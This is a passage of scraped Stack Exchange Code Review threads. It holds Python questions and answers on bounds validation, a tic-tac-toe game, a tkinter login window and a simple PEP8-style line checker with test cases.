"Id": "489344",
"Score": "0",
"body": "Ohh gotcha thanks"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T15:28:44.967",
"Id": "249572",
"ParentId": "249546",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T16:17:53.840",
"Id": "249546",
"Score": "3",
"Tags": [
"c++",
"performance",
"algorithm",
"programming-challenge"
],
"Title": "Number of inversions on a segment"
}
|
249546
|
<h2>Code functionality</h2>
<p>The following code tests whether the values that a user specifies for a lower bound and upper bound on two properties:</p>
<ol>
<li>The lower bound is smaller than the upper bound.</li>
<li>The values are larger than 0 (positive).</li>
</ol>
<p>Since it first checks whether the lower bound is smaller than the upper bound, it implicitly verifies the upper bound is larger than 0, if it tests whether the lower bound is larger than 0. Therefore, my consideration is: I can make the code more compact by omitting the check for "is the upper bound larger than 0".</p>
<h2>Code</h2>
<pre><code># Object getting labels
class Get_labels:
def __init__(self,lower_bound,upper_bound,configuration_name):
self.lower_bound = lower_bound
self.upper_bound = upper_bound
self.configuration_name = configuration_name
self.check_threshold_validity()
# Verifies if the chosen thresholds are valid values.
def check_threshold_validity(self):
if self.lower_bound>=self.upper_bound:
raise Exception(f'Sorry, the lower threshold={self.lower_bound} should be smaller than the upper bound={self.upper_bound} for configuration={self.configuration_name}')
# checks if lower bound (and implicitly upper bound) are above zero
if self.lower_bound<=0:
raise Exception(f'Sorry, the lower threshold={self.lower_bound} should be larger than 0 for configuration={self.configuration_name}')
if __name__ == '__main__':
get_labels = Get_labels(-1,25,"first")
</code></pre>
<h2>Design choice</h2>
<p>However, if the code is modified it might not be obvious the upper bound also needs to be checked because that is done implicitly. That might result in the edge case with upper bound below zero is not being caught after modifications. Hence to prevent this scenario, I can implement two unit test that check if an error is raised for:</p>
<ol>
<li>The lower bound negative, upper bound negative</li>
<li>The lower bound zero, upper bound negative</li>
<li>The lower bound positive, upper bound negative</li>
</ol>
<h2>Question</h2>
<p>Is it recommended to include the explicit check in the main code anyways, even though it is tested in the unit tests?</p>
|
[] |
[
{
"body": "<p>Except under unusual circumstances, classes are things or entities -- hence the\nterm <em>objects</em> -- while functions or methods are actions or operations. You\nwant to name them accordingly. For that reason, <code>Get_labels</code> strikes me as an\noddly named class. Based on what you've shown us, I might suggest the name\n<code>Bounds</code> as an alternative. A side benefit of that name is that it allows you\nto shorten up the attribute names without loss of meaning.</p>\n<p>A separate method for checking the basic validity of the bounds seems like\nover-engineering to me -- unless the checking logic becomes much more complex\nor unless it will be used elsewhere in the code. So I would just do simple\nvalidation in <code>__init__()</code> in this case.</p>\n<p>Avoid the temptation to use chatty or verbose messages in your code. It won't\nhelp you or your users over the long run -- at least that's my experience. Keep\nthings direct and rigorously concise. In fact, it's often beneficial to keep\nthe messages very technical rather than natural in their stylistic orientation.\nWhat I mean by that is rather than describing the problem the way one might\nverbally to a human ("The lower bound, which was 1000, must be less than the\nupper bound, which as 125"), you are often better off to describe the problem\nin a formulaic, schematic, computer-like way. Among other things, that approach\nallows you to adopt a conventional format for all error messages in an\napplication. The error message format shown in the rewrite below could be\ndescribed generically as <code>PROBLEM: SELF</code>. A consistent approach makes it\neasier to write validation code in the first place and to maintain it over\ntime. Consistency also conveys professionalism to users.</p>\n<p>Along those lines, you can often simplify the creation of such validation\nmessages by first defining <code>__repr__()</code> for your class, as illustrated below.</p>\n<p>For the validations you have so far, a <code>ValueError</code> is a closer\nfit than raising a general <code>Exception</code>. Also, you might consider checking\nfor other kinds of errors: for example, are bounds restricted to integers only?</p>\n<p>If you do check for that, raise a <code>TypeError</code>.</p>\n<p>Finally, a stylistic and admittedly subjective fine point. Below is a stack\ntrace from your code as written. We see the verbose message twice, first as an\nf-string, and then with parameters filled in. What's wrong with that? Nothing\nserious, but it's heavy, tedious, even lacking a certain elegance. At a\nminimum, one could say that the repetition of the verbose message is mildly\ndistracting to the user, putting an extra increment of a visual or cognitive\nburden on the user to figure out what's going on. Compare that to the stack\ntrace from the revised code.</p>\n<pre><code># ORIGINAL.\n\nTraceback (most recent call last):\n File "bounds.py", line 19, in <module>\n get_labels = Get_labels(-1,25,"first")\n File "bounds.py", line 7, in __init__\n self.check_threshold_validity()\n File "bounds.py", line 17, in check_threshold_validity\n raise Exception(f'Sorry, the lower threshold={self.lower_bound} should be larger than 0 for configuration={self.configuration_name}')\nException: Sorry, the lower threshold=-1 should be larger than 0 for configuration=first\n\n# REVISED.\n\nTraceback (most recent call last):\n File "bounds.py", line 72, in <module>\n b1 = Bounds(1000, 125, 'first')\n File "bounds.py", line 67, in __init__\n raise Exception(msg)\nException: Upper bound must be greater than lower: Bounds(1000, 125, first)\n</code></pre>\n<p>Code with some possible edits for you to consider:</p>\n<pre><code>class Bounds:\n\n def __init__(self, lower, upper, name):\n self.lower = lower\n self.upper = upper\n self.name = name\n\n if lower <= 0 or upper <= 0:\n msg = f'Bounds must be positive: {self}'\n raise ValueError(msg)\n\n if upper <= lower:\n msg = f'Upper bound must be greater than lower: {self}'\n raise ValueError(msg)\n\n def __repr__(self):\n return f'Bounds({self.lower}, {self.upper}, {self.name!r})'\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T17:38:43.593",
"Id": "249549",
"ParentId": "249547",
"Score": "9"
}
}
] |
{
"AcceptedAnswerId": "249549",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T16:25:57.887",
"Id": "249547",
"Score": "8",
"Tags": [
"python",
"design-patterns",
"unit-testing"
],
"Title": "Testing lower- and upper bound values in Python"
}
|
249547
|
<p>Here is my code:</p>
<pre><code>def printBoard(board): # this prints the board
print(" | | ")
print(f" {board[0][0]} | {board[0][1]} | {board[0][2]} ")
print(" | | ")
print("---------|---------|---------")
print(" | | ")
print(f" {board[1][0]} | {board[1][1]} | {board[1][2]} ")
print(" | | ")
print("---------|---------|---------")
print(" | | ")
print(f" {board[2][0]} | {board[2][1]} | {board[2][2]} ")
print(" | | ")
def isGameOver(board, playerOneSprite, playerTwoSprite): #checks if eiither player won
for i in range(3):
if board[i][0] == board[i][1] and board[i][1] == board[i][2]:
if board[i][0] == playerOneSprite:
print("Player one wins!")
return True
elif board[i][0] == playerTwoSprite:
print("PlayerTwoWins!")
return True
if board[0][i] == board[1][i] and board[1][i] == board[1][i]:
if board[0][i] == playerOneSprite:
print("Player one wins!")
return True
elif board[0][i] == playerTwoSprite:
print("PlayerTwoWins!")
return True
if board[0][0] == board[1][1] and board[1][1] == board[2][2]:
if board[0][0] == playerOneSprite:
print("Player one wins!")
return True
elif board[0][0] == playerTwoSprite:
print("PlayerTwoWins!")
return True
if board[0][2] == board[1][1] and board[1][1] == board[2][0]:
if board[0][2] == playerOneSprite:
print("Player one wins!")
return True
elif board[0][2] == playerTwoSprite:
print("PlayerTwoWins!")
return True
return False
def switchTurns(playerOneSprite, playerTwoSprite, isPlayerOneTurn, board): #controls the flow of the game
printBoard(board)
if isPlayerOneTurn:
row = int(input("Player one, enter row: "))-1
column = int(input("Player one, enter column: "))-1
if (row > 3 or row < 1) or (column > 3 or column < 1):
print("Out of range!")
switchTurns(playerOneSprite, playerTwoSprite, isPlayerOneTurn, board)
if board[row][column] == '-':
board[row][column] = playerOneSprite
else:
row = int(input("Player two, enter row: "))-1
column = int(input("Player two, enter column: "))-1
if (row > 3 or row < 1) or (column > 3 or column < 1):
print("Out of range!")
switchTurns(playerOneSprite, playerTwoSprite, isPlayerOneTurn, board)
if board[row][column] == '-':
board[row][column] = playerTwoSprite
if isGameOver(board, playerOneSprite, playerTwoSprite):
printBoard(board)
else:
switchTurns(playerOneSprite, playerTwoSprite, not isPlayerOneTurn, board)
switchTurns('X', 'O', True, board = [['-', '-', '-'], ['-', '-', '-'], ['-', '-', '-']]) #driver code
</code></pre>
<p>Is there a way to make this code smaller, more compact and readable?
Right now it is 72 lines long. I am hoping to get it below 60 lines, maybe even 50...
For instance, I have noticed that in the <code>switchTurns()</code> function some of the code is duplicated, but I am not sure how to implement that without sacrificing some clarity in the game...
Also, are there any improvements I can potentially make?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T21:01:53.623",
"Id": "489295",
"Score": "3",
"body": "Have you played your game to test it? Did it work for you, as expected? Did it really? You ask for a row/column and subtract 1 from the input. And then you test if the values are below 1 or above 3. This means the user must enter row/column values in the range of 2 to 4 to get past validation. But then, after the subtract 1, the values are in the range 1 to 3, but your board indices must be between 0 and 2, so you should see `IndexError` exceptions raised. This is non-working code, and is off-topic for Code Review until you have fixed obvious issues causing the game to malfunction."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T00:37:14.887",
"Id": "489411",
"Score": "0",
"body": "Sorry about the fact that my code doesn't work..."
}
] |
[
{
"body": "<p><em>I'm assuming that you are using python 3</em></p>\n<p>When I ran the code, there were some errors.</p>\n<p>First, there was an invalid syntax in the <code>printBoard</code> function. Here is the fixed version:</p>\n<pre><code>def printBoard(board): # this prints the board\n print(" | | ")\n print(" ", board[0][1], " | ", board[0][1], " | ", board[0][2], " ", sep='')\n print(" | | ")\n print("---------|---------|---------")\n print(" | | ")\n print(" ", board[0][1], " | ", board[0][1], " | ", board[0][2], " ", sep='')\n print(" | | ")\n print("---------|---------|---------")\n print(" | | ")\n print(" ", board[0][1], " | ", board[0][1], " | ", board[0][2], " ", sep='')\n print(" | | ")\n</code></pre>\n<p>The commas will concatenate the strings together and <code>sep=''</code> sets up the concatenation so that there are no spaces between the concatenated strings.</p>\n<p>Next, the logic of inputting the position on the board seems to be off.</p>\n<pre><code>row = int(input("Player one, enter row: "))-1\ncolumn = int(input("Player one, enter column: "))-1\nif (row > 3 or row < 1) or (column > 3 or column < 1):\n</code></pre>\n<p>Since you've subtracted 1 from both the inputted row and column, the condition for the if statement should be:</p>\n<pre><code>if (row < 0 or row > 2) or (column < 0 or column > 2):\n</code></pre>\n<p>Also, you seem to be recursing the function again when there is an invalid input. A much cleaner way is to use while loops as such:</p>\n<pre><code>while True:\n row = int(input("Player one, enter row: ")) - 1\n column = int(input("Player one, enter column: ")) - 1\n\n if 0 <= row <= 2 and 0 <= column <= 2 and board[row][column] == '-':\n board[row][column] = playerOneSprite\n break\n else:\n if not (0 <= row <= 2 and 0 <= column <= 2):\n print("Out of range!")\n else:\n print("Box already filled")\n</code></pre>\n<p>Note that I've combined the condition of checking if the box is filled or not and checking that the value of row and column inputted are in range.</p>\n<p>Since this is used twice for player one and player two, I've put this block of code into a function:</p>\n<pre><code>def inputPosition(board, player, sprite):\n while True:\n row = int(input("Player " + player + ", enter row: ")) - 1\n column = int(input("Player " + player + ", enter column: ")) - 1\n\n if 0 <= row <= 2 and 0 <= column <= 2 and board[row][column] == '-':\n board[row][column] = sprite\n break\n else:\n if not (0 <= row <= 2 and 0 <= column <= 2):\n print("Out of range!")\n else:\n print("Box already filled")\n</code></pre>\n<p>So now, <code>switchTurns</code> looks like this:</p>\n<pre><code>def switchTurns(playerOneSprite, playerTwoSprite, isPlayerOneTurn, board): #controls the flow of the game\n printBoard(board)\n\n if isPlayerOneTurn: inputPosition(board, "one", playerOneSprite)\n else: inputPosition(board, "two", playerTwoSprite)\n \n if isGameOver(board, playerOneSprite, playerTwoSprite):\n printBoard(board)\n else:\n switchTurns(playerOneSprite, playerTwoSprite, not isPlayerOneTurn, board)\n</code></pre>\n<p>Finally, the function <code>isGameOver</code> can be more efficient:</p>\n<pre><code>def isGameOver(board, playerOneSprite, playerTwoSprite): #checks if eiither player won\n for i in range(3):\n if board[i][0] == board[i][1] and board[i][1] == board[i][2]:\n if board[i][0] == playerOneSprite: return 1\n elif board[i][0] == playerTwoSprite: return 2\n if board[0][i] == board[1][i] and board[1][i] == board[2][i]:\n if board[0][i] == playerOneSprite: return 1\n elif board[0][i] == playerTwoSprite: return 2\n\n if board[0][0] == board[1][1] and board[1][1] == board[2][2]:\n if board[0][0] == playerOneSprite: return 1\n elif board[0][0] == playerTwoSprite: return 2\n\n if board[0][2] == board[1][1] and board[1][1] == board[2][0]:\n if board[0][2] == playerOneSprite: return 1\n elif board[0][2] == playerTwoSprite: return 2\n\n for i in range(3):\n for j in range(3):\n if board[i][j] == '-': return 0\n \n return -1\n</code></pre>\n<p>The function will return -1 if it is a draw, 0 if there are no winners, 1 if player one won and 2 if player two won.</p>\n<p>I've also added a for loop at the end to check through all the boxes whether players can make more moves or not.</p>\n<p>Also, there was an error with the code where you've put:</p>\n<pre><code>if board[0][i] == board[1][i] and board[1][i] == board[1][i]:\n</code></pre>\n<p>Now with this function, <code>switchTurns</code> looks like this:</p>\n<pre><code>def switchTurns(playerOneSprite, playerTwoSprite, isPlayerOneTurn, board): #controls the flow of the game\n printBoard(board)\n\n if isPlayerOneTurn: inputPosition(board, "one", playerOneSprite)\n else: inputPosition(board, "two", playerTwoSprite)\n \n gameStatus = isGameOver(board, playerOneSprite, playerTwoSprite)\n\n if gameStatus == 0:\n switchTurns(playerOneSprite, playerTwoSprite, not isPlayerOneTurn, board)\n else:\n printBoard(board)\n if gameStatus == 1: print("Player 1 wins")\n elif gameStatus == 2: print("Player 2 wins")\n elif gameStatus == -1: print("It's a tie")\n return\n</code></pre>\n<p>I've added <code>printBoard(board)</code> so that the players can see the final state of the board.</p>\n<p>Now here is the final code:</p>\n<pre><code>def printBoard(board): # this prints the board\n print(" | | ")\n print(" ", board[0][0], " | ", board[0][1], " | ", board[0][2], " ", sep='')\n print(" | | ")\n print("---------|---------|---------")\n print(" | | ")\n print(" ", board[1][0], " | ", board[1][1], " | ", board[1][2], " ", sep='')\n print(" | | ")\n print("---------|---------|---------")\n print(" | | ")\n print(" ", board[2][0], " | ", board[2][1], " | ", board[2][2], " ", sep='')\n print(" | | ")\n\ndef isGameOver(board, playerOneSprite, playerTwoSprite): #checks if eiither player won\n for i in range(3):\n if board[i][0] == board[i][1] and board[i][1] == board[i][2]:\n if board[i][0] == playerOneSprite: return 1\n elif board[i][0] == playerTwoSprite: return 2\n if board[0][i] == board[1][i] and board[1][i] == board[2][i]:\n if board[0][i] == playerOneSprite: return 1\n elif board[0][i] == playerTwoSprite: return 2\n\n if board[0][0] == board[1][1] and board[1][1] == board[2][2]:\n if board[0][0] == playerOneSprite: return 1\n elif board[0][0] == playerTwoSprite: return 2\n\n if board[0][2] == board[1][1] and board[1][1] == board[2][0]:\n if board[0][2] == playerOneSprite: return 1\n elif board[0][2] == playerTwoSprite: return 2\n\n for i in range(3):\n for j in range(3):\n if board[i][j] == '-': return 0\n \n return -1\n\ndef inputPosition(board, player, sprite):\n while True:\n row = int(input("Player " + player + ", enter row: ")) - 1\n column = int(input("Player " + player + ", enter column: ")) - 1\n\n if 0 <= row <= 2 and 0 <= column <= 2 and board[row][column] == '-':\n board[row][column] = sprite\n break\n else:\n if not (0 <= row <= 2 and 0 <= column <= 2):\n print("Out of range!")\n else:\n print("Box already filled")\n\ndef switchTurns(playerOneSprite, playerTwoSprite, isPlayerOneTurn, board): #controls the flow of the game\n printBoard(board)\n\n if isPlayerOneTurn: inputPosition(board, "one", playerOneSprite)\n else: inputPosition(board, "two", playerTwoSprite)\n \n gameStatus = isGameOver(board, playerOneSprite, playerTwoSprite)\n\n if gameStatus == 0:\n switchTurns(playerOneSprite, playerTwoSprite, not isPlayerOneTurn, board)\n else:\n printBoard(board)\n if gameStatus == 1: print("Player 1 wins")\n elif gameStatus == 2: print("Player 2 wins")\n elif gameStatus == -1: print("It's a tie")\n return\n\nswitchTurns('X', 'O', True, board = [['-', '-', '-'], ['-', '-', '-'], ['-', '-', '-']]) #driver code\n</code></pre>\n<p>This is 68 lines of code. If you remove the spaces between the lines of code, it will become 59 lines. However, you should try to avoid focusing on the number of lines of code you haves. You shouldn't be hesitant to use more lines of code if it will make your code tidier.</p>\n<p>Also when you post answers to code review, make sure your code does not include any errors.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T23:24:58.177",
"Id": "489300",
"Score": "5",
"body": "Try to remember that we don't review code that doesn't work. This question will be closed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T06:51:28.323",
"Id": "489311",
"Score": "0",
"body": "Python 3.6 and later supports [f-strings](https://www.python.org/dev/peps/pep-0498/). The `printBoard` function uses f-string syntax, and works properly, as long as you use a newer Python interpreter."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T01:35:56.987",
"Id": "489414",
"Score": "0",
"body": "Thanks so much for the input! I am not sure which version of python you were using, but I am using python 3.8.5, which allows formatted strings, which was what I employed to print my board. I also now realize that I was lax in debugging my code properly, there were several errors in my original code, as you had indicated. Thanks!"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T22:48:38.497",
"Id": "249557",
"ParentId": "249550",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "249557",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T17:56:08.093",
"Id": "249550",
"Score": "-4",
"Tags": [
"python",
"python-3.x",
"game",
"tic-tac-toe"
],
"Title": "basic two-player tic tac toe game"
}
|
249550
|
<p>I have been programming for about 4 to 5 months now and I made a login script with tkinter in python. I tried to use classes and function definitions as best as I could. To get to know them better.</p>
<p>I wanted to ask you all, how does this code look and is there something I should or shouldn't do the next time I code?</p>
<p>THANKS IN ADVANCED FOR ALL YOUR SUGGESTIONS</p>
<pre><code>from tkinter import *
import tkinter.font as font
import time
global data
data = {}
class Visual:
def __init__(self,old_root):
old_root.destroy()
self.root = Tk()
self.win_size = self.root.geometry("800x500")
self.color = self.root.configure(bg="black")
self.font = font.Font(size= 30)
self.home_screen()
# print data to check and see what is in data
print(data)
def home_screen(self):
# just title on the home screen
title = Label(self.root, text= "WELCOME USER , PLEASE LOGIN BELOW ",padx= 200,anchor= "center" ,bg="grey")
title.place(relx= 0.5, rely= 0.0 , anchor= "n")
# the login fields and the enter button
self.entery()
def entery(self):
# a text that says "username" next to the input field
user_text = Label(self.root, text= "USERNAME :", bg="grey")
# the username input field
username = Entry(self.root, width= 50)
# a text that says "password" next to the input field
passw_text = Label(self.root, text= "PASSWORD :", bg= "grey")
# the password input field
password = Entry(self.root, width= 50)
# puts the text and the user input fields on the screen
user_text.place(rely= 0.1, anchor= "nw")
username.place(relx= 0.1, rely= 0.1, anchor= "nw")
# puts the text and the user input fields on the screen
passw_text.place(rely= 0.2,anchor= "nw")
password.place(relx= 0.1, rely= 0.2, anchor= "nw")
# button that is clicked when finished with inputting your login information
submit = Button(self.root, text= "ENTER", padx= 80, pady= 10, command=lambda :Login(username_clear=username,
password_clear= password,
root= self.root,
user_input= username.get(),
passw_input= password.get()))
submit.place(relx= 0.6, rely= 0.2, anchor= "sw")
self.root.mainloop()
class Login:
def __init__(self, username_clear , password_clear , root, user_input, passw_input):
# clears the input fields
username_clear.delete(0,END)
password_clear.delete(0,END)
self.root = root
self.user_input = user_input
self.passw_input = passw_input
self.login_check()
def login_check(self):
key, value = self.user_input , self.passw_input
# Checks to see if username and password exists
if key in data and value == data[key]:
# Welcomes the user back
welcome = Label(self.root, text= f"WELCOME BACK \n{self.user_input.upper()}", padx= 200, pady= 50)
welcome.place(relx= 0.2, rely= 0.5, anchor= "nw")
# Checks to see if the user put in the wrong username or password
elif key not in data or value != data[key]:
wrong= Label(self.root, text="Wrong Username or Password", padx =200)
wrong.place(relx= 0.1, rely= 0.5,anchor= "nw")
# Creates a input field for the user to see if he/she is a new user or not
question = Entry(self.root, width= 20)
question.place(relx= 0.25, rely=0.6, anchor="nw")
question_text = Label(self.root, text= "Are You A New User? Yes / No : ")
question_text.place(relx= 0.01, rely= 0.6, anchor= "nw")
# Make a button for the user to press when finished with answering the question above
enter_answ = Button(self.root, text= "ENTER", width= 30, command= lambda : self.answer_check(answer=question.get()))
enter_answ.place(relx= 0.6, rely= 0.6)
self.root.mainloop()
def answer_check(self, answer):
# If the user types the answer yes. It destroys this window and makes a new one create a new user
if answer == "yes":
New_user(root=self.root)
# If user answers with no , then it starts again and asks user to login
if answer == "no" :
Visual(old_root=self.root)
class New_user:
def __init__(self, root):
# Destroyes the old window and creates a new one after it
root.destroy()
self.data = data
# Creates a new window to create a new user
self.new_root = Tk()
self.win_size = self.new_root.geometry("800x500")
self.color = self.new_root.configure(bg="black")
self.font = font.Font(size=30)
self.home_screen()
def home_screen(self):
title = Label(self.new_root, text="CREATE NEW USER LOGIN ", padx=200, anchor="center", bg="grey")
title.place(relx=0.5, rely=0.0, anchor="n")
self.regestration()
def regestration(self):
# The input fields for the new login information for the new user account
user_text = Label(self.new_root, text="USERNAME :", bg="grey")
username = Entry(self.new_root, width=50)
passw_text = Label(self.new_root, text="PASSWORD :", bg="grey")
password = Entry(self.new_root, width=50)
user_text.place(rely=0.1, anchor="nw")
username.place(relx=0.1, rely=0.1, anchor="nw")
passw_text.place(rely=0.2, anchor="nw")
password.place(relx=0.1, rely=0.2, anchor="nw")
# Create a button to verify if the user information already exists
submit = Button(self.new_root, text="CREATE USER", padx=80, pady=10, command=lambda :self.save_new_user(username= username,
password= password))
submit.place(relx=0.6, rely=0.2, anchor="sw")
def save_new_user(self, username, password):
# if user information already exists , it waits 2seconds then destroys the current window and makes a new window for the user to create a new account
if username.get() in data:
in_use = Label(self.new_root, text= "USERNAME ALEARDY EXISTS", padx= 200)
in_use.place(relx= 0.0, rely= 0.7, anchor= "sw")
time.sleep(2)
New_user(root=self.new_root)
# If the user information doesn't exists yet , it puts it into the a dictionary called "data"
data[username.get()] = password.get()
# Assigns a button to verify your succesfull login and also destroying the button at the sametime and creating a diffrent one .
login_retry = Button(self.new_root ,text="LOGIN", width= 80, command=lambda :self.succes(button=login_retry))
login_retry.place(relx= 0.15, rely= 0.8)
def succes(self,button):
# Destroy the old button
button.destroy()
# Tells the user that he/she succesfully logged in .
succes_login = Label(self.new_root, text="YOU HAVE SUCCESFULLY CREATED A NEW USER , CLICK BELOW TO LOGIN IN ",
padx=200)
succes_login.place(relx=0.0, rely=0.5, anchor="sw")
# Creates a button to verify your new user account
Button(self.new_root, text="Click HERE TO LOGIN", width= 100, command=lambda :self.retry_login()).place(relx= 0.05, rely= 0.6)
self.new_root.mainloop()
def retry_login(self):
# Goes to the beginning of the program where you test your account login
Visual(old_root=self.new_root)
root = Tk()
main = Visual(root)
</code></pre>
|
[] |
[
{
"body": "<p>Some usual PEP8 comments:</p>\n<p><code>username_clear.delete(0,END)</code> -> <code>username_clear.delete(0, END)</code></p>\n<p><code>in_use.place(relx= 0.0, rely= 0.7, anchor= "sw")</code> -> <code>in_use.place(relx=0.0, rely=0.7, anchor="sw")</code></p>\n<p><code>New_user</code> should have either been <code>NewUser</code> for a class name or <code>new_user</code> in other cases</p>\n<h3>Choose meaningful names & avoid typos</h3>\n<p>Avoid typos like: <code>regestration</code> and <code>Visual</code> could have been <code>MainWindow</code></p>\n<h3>New user registration</h3>\n<p>Sign up option appears only after wrong login submitted,\nit should have been on the first display of the screen</p>\n<h3>Check inconsistencies</h3>\n<p>You ask for Yes/No but check for:</p>\n<pre><code>if answer == "yes":\n New_user(root=self.root)\n\n# If user answers with no , then it starts again and asks user to login \nif answer == "no" :\n Visual(old_root=self.root)\n</code></pre>\n<p>Using <code>.lower</code> or <code>.casefold</code> makes a better comparison</p>\n<p><code>if answer.lower() == "yes":</code></p>\n<p>same for no</p>\n<h3>The Login class could have been methods</h3>\n<p>The Login class could have been more methods in Visual. I understand that you grouped functionalities under topics like Login and New_user but you don't use constructor as a replacement for a method:</p>\n<pre class=\"lang-py prettyprint-override\"><code> def __init__(self, username_clear , password_clear , root, user_input, passw_input):\n # clears the input fields\n username_clear.delete(0,END)\n password_clear.delete(0,END)\n\n self.root = root\n\n self.user_input = user_input\n self.passw_input = passw_input\n\n self.login_check()\n</code></pre>\n<h3>MVC</h3>\n<p>You could also group all views under one class and all logic under one class.\nViews take the logic as parameter and calls the relevant methods as needed.\nThis makes it among others easier to find and test.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T14:26:04.483",
"Id": "489700",
"Score": "0",
"body": "when you say that is should put all the views in 1 class and all the logic in 1 class. Do mean that i should put all the objects that appear in the GUI should be put in one class and the other in a other class ? Please correct me if i am wrong"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T19:28:43.203",
"Id": "489962",
"Score": "0",
"body": "Yes, search for MVC within TKinter"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T08:55:14.357",
"Id": "249611",
"ParentId": "249556",
"Score": "2"
}
},
{
"body": "<p>I agree with Abdur keep it simple with one class. Other things that could be improved is:</p>\n<ol>\n<li>Add a data base, you could use pickle or shelve to store user names\nand passwords.<a href=\"https://docs.python.org/3/library/shelve.html\" rel=\"nofollow noreferrer\">basic start to shelves</a></li>\n</ol>\n<p>2)Add a button for new users right away.\n3)your use of relx and rely has some overlapping side effects you might be\nbetter off using x and y with real coordinates.\n4) Your password entries you can hide the word with show:</p>\n<pre><code>password= Entry(self.root,show='*',width=60)\n</code></pre>\n<p>5)To add arguments to a button command you can use partial from functools</p>\n<pre><code>from functools import partial\n</code></pre>\n<p>the button side:</p>\n<pre><code>submit= Button(self.root,text='Enter',command=partial(your_function,args,arg,arg)\n</code></pre>\n<ol start=\"6\">\n<li>lastly I created a new user and when I logged in I purposely typed in a\ndifferent password, it threw an error. You need some way of checking and\ntelling the user that things don't match up. Simple dialog or messagebox\nwould work.\nbest of luck,\nJoe</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T14:43:03.423",
"Id": "489702",
"Score": "0",
"body": "Thanks for ALL of your suggestions . I really appreciate it that you are willing to help me out and i will certainly implement all the things that you suggested . But i have a final question for you if you're willing to answer it ? when you created a new user and put in a wrong password at the login didn't a box pop up that said `Wrong username or password ` or do you mean the boxes the for example display a `error` message ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T02:37:54.007",
"Id": "489775",
"Score": "0",
"body": "I created another new user with the same username and different password error: line 156, in <lambda>\n password= password))"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T02:11:52.470",
"Id": "249659",
"ParentId": "249556",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T20:50:12.253",
"Id": "249556",
"Score": "3",
"Tags": [
"python",
"beginner",
"tkinter"
],
"Title": "Python Tkinter GUI Login"
}
|
249556
|
<p>I am aware, that libraries exist for parsing python code, however, for the sake of learning how they parse errors, I'm creating a script that checks a file for only 6 Pep8 errors just for reference.</p>
<p>This is how my current 6 Pep8 functions look (they append an issue to the issues list if the issue was found)</p>
<pre class="lang-py prettyprint-override"><code>"""
[S001] Line is longer than 79 characters
[S002] Indentation is not a multiple of four
[S003] Unnecessary semicolon after a statement (note, semicolons are admissible in comments)
[S004] At least two spaces before inline comments required
[S005] TODO found (only in comments; the case does not matter)
[S006] More than two blank lines used before this line (must be output for the first non-empty line)
"""
def S001(self, ln_num: int, line: str):
if len(line) > 79:
self.issues.append(f"Line {ln_num}: S001 Too Long")
def S002(self, ln_num: int, line: str):
indentation_length = len(line) - len(line.lstrip())
if indentation_length % 4 != 0:
self.issues.append(f"Line {ln_num}: S002 Indentation is not a multiple of four")
def S003(self, ln_num: int, line: str):
regex1 = re.compile("(.*)((;(\s)*#)|(;$))")
regex2 = re.compile("#.*;")
if regex1.search(line) and not regex2.search(line):
self.issues.append(f"Line {ln_num}: S003 Unnecessary semicolon")
def S004(self, ln_num: int, line: str):
regex = re.compile("(([^ ]{2})|(\s[^ ])|([^ ]\s))#")
if regex.search(line):
self.issues.append(f"Line {ln_num}: S004 At least two spaces before inline comments required")
def S005(self, ln_num: int, line: str):
regex = re.compile("#(.*)todo", flags=re.IGNORECASE)
if regex.search(line):
self.issues.append(f"Line {ln_num}: S005 TODO found")
def S006(self, ln_num: int, line: str):
if self.code[ln_num-4:ln_num-1] == ['', '', ''] and line != "":
self.issues.append(f"Line {ln_num}: S006 More than two blank lines used before this line")
</code></pre>
<p>Testcases:</p>
<pre><code>""" Test case 1 """
print('What\'s your name?') # reading an input
name = input();
print(f'Hello, {name}'); # here is an obvious comment: this prints greeting with a name
very_big_number = 11_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000
print(very_big_number)
def some_fun():
print('NO TODO HERE;;')
pass; # Todo something
""" END """
""" Test Case 2 """
print('hello')
print('hello');
print('hello');;;
print('hello'); # hello
# hello hello hello;
greeting = 'hello;'
print('hello') # ;
""" END """
""" Test Case 3 """
print('hello')
print('hello') # TODO
print('hello') # TODO # TODO
# todo
# TODO just do it
print('todo')
print('TODO TODO')
todo()
todo = 'todo'
""" END """
""" Test Case 4 """
print("hello")
print("bye")
print("check")
""" END """
""" Test Case 5 """
print('hello!')
# just a comment
print('hello!') #
print('hello!') # hello
print('hello!') # hello
print('hello!')# hello
""" END """
</code></pre>
<p>Testcase 1 Expected Output:</p>
<pre><code>Line 1: S004 At least two spaces before inline comment required
Line 2: S003 Unnecessary semicolon
Line 3: S001 Too long
Line 3: S003 Unnecessary semicolon
Line 6: S001 Too long
Line 11: S006 More than two blank lines used before this line
